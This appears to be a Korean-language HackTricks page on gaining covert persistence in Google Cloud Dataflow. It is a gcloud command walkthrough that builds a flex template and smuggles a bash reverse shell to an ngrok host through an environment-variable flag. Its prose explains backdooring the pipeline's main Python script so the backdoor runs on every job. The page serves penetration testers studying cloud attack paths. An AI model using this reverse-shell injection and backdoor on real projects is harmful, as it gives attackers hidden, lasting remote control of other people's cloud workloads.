GCP - Dataflow Persistence

HackTricks 지원

Dataflow

내장 컨테이너에 있는 무표시 지속성

문서에서 제공하는 튜토리얼을 따라 새로운 (예: 파이썬) 플렉스 템플릿을 생성할 수 있습니다:

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

빌드 중에 역쉘을 획득하게 됩니다 (이전 예제와 같이 환경 변수를 남용하거나 Docker 파일이 임의의 작업을 실행하도록 설정하는 다른 매개변수를 남용할 수 있습니다). 이 순간에 역쉘 내에서 /template 디렉토리로 이동하여 실행될 주 파이썬 스크립트의 코드를 수정할 수 있습니다 (우리 예제에서는 getting_started.py입니다). 여기에 백도어를 설정하여 작업이 실행될 때마다 실행되도록합니다.

그런 다음, 다음으로 작업이 실행될 때, 침해당한 컨테이너가 실행됩니다:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
**HackTricks 지원하기**

Last updated